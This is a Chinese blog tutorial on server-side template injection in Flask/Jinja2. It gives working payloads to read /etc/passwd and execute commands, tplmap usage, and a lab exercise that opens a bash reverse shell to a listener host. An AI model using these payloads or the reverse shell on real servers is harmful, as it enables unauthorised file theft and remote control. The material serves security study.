SSTI(服务器端模板注入)
作者:互联网
SSTI(服务器端模板注入)
0x01 简介
模板引擎允许开发人员使用带有动态元素的静态HTML页面。例如,静态配置文件.html一个模板引擎将允许开发人员设置一个用户名参数,该参数将始终设置为当前用户的用户名 服务器端模板注入是指用户能够传入一个参数,该参数可以控制服务器上运行的模板引擎。 例如: 这引入了一个漏洞,因为它允许黑客将模板代码注入网站。从XSS一直到RCE,其影响可能是毁灭性的。 注意:不同的模板引擎具有不同的注入有效负载,但是通常您可以使用{{2+2}}作为测试来测试SSTI。0x02 文件读取
以python的flask模板引擎为例 文件读取:{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}} {{ ''.__class__.__mro__[2].__subclasses__()[40]()(/etc/passwd).read()}}0x03 RCE
执行命令:{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}} {{config.__class__.__init__.__globals__['os'].popen(id).read()}}0x04 Payload
SSTI各种payload参考 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection0x05 Tools-tplmap
利用工具: https://github.com/epinna/tplmap 注意:使用python2安装要求。python2 -m pip 根据请求方式不同,语法也有所不同 GET tplmap -u <URL> /?<vulnparam> POST tplmap -u <URL> -d'<vulnparam>'0x06 练习
0x01 验证漏洞
探测输入点是否存在SSTI 0x02 利用 使用tplmap对漏洞进行利用 python2 tplmap.py -u http://10.10.20.97 -d 'name' 执行命令 python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "id" 0x03 GetShell 反弹Shell python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "bash -c 'bash -i >&/dev/tcp/10.10.224.107/8888 0>&1'"标签:__,.__,服务器端,tplmap,__.__,SSTI,模板,python2 来源: https://blog.csdn.net/qq_44101248/article/details/114125057